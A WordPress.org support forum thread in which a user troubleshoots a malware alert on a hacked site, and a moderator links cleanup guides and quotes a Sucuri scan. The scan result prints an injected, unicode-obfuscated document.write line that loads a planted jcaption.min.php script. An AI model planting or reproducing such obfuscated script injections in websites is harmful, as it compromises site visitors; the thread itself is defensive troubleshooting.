WordPress.org

1. speedrider
   Member
   Posted 7 months ago #

   Hi,

   After a hectic days about TimThumb script, now AVG detect this threat..
   http://img200.imageshack.us/img200/3987/00300h.jpg

   Can anybody help me out?

2. RichardWPG
   Member
   Posted 7 months ago #

   you may check out with your hosting provider to solve this matter.

3. Samuel B
   moderator
   Posted 7 months ago #

   http://sitecheck.sucuri.net/scanner/

   http://codex.wordpress.org/FAQ_My_site_was_hacked

   http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/

   http://ottopress.com/2009/hacked-wordpress-backdoors/

4. speedrider
   Member
   Posted 7 months ago #

   Hi Samuel B

   I think this is not about the TimThumb script anymore. Scan with Sucuri founded nothing infect the files. WordPress plugins has been install before to prevent the old TimThumb script being exploited

5. speedrider
   Member
   Posted 7 months ago #

   This is other person AVG Alert

   https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-ash4/314686_281634628526324_100000393685344_914131_444402727_n.jpg

6. speedrider
   Member
   Posted 7 months ago #

   I delete the jscaption.min.php. Hope this will work

7. Samuel B
   moderator
   Posted 7 months ago #

   when I scan your site I see

   web site: 	http://www.speedrider.org/
   status: 	Site infected with malware
   web trust:  	Not Blacklisted

   Known javascript malware.
   Details: http://sucuri.net/malware/entry/MW:JS:221
   document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0067\u0067\u0067\u002F\u0077\u0070\u002D\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073\u002F\u006A\u0073\u002F\u0074\u0069\u006E\u0079\u006D\u0063\u0065\u002F\u0070\u006C\u0075\u0067\u0069\u006E\u0073\u002F\u0077\u0070\u0065\u0064\u0069\u0074\u0069\u006D\u0061\u0067\u0065\u002F\u006A\u0073\u002F\u006A\u0063\u0061\u0070\u0074\u0069\u006F\u006E\u002E\u006D\u0069\u006E\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");(function($) {

8. speedrider
   Member
   Posted 7 months ago #

   Hi Samuel,

   I've deleted the Contact Form 7 plugin. it works.

   Thank You.

Reply

You must log in to post.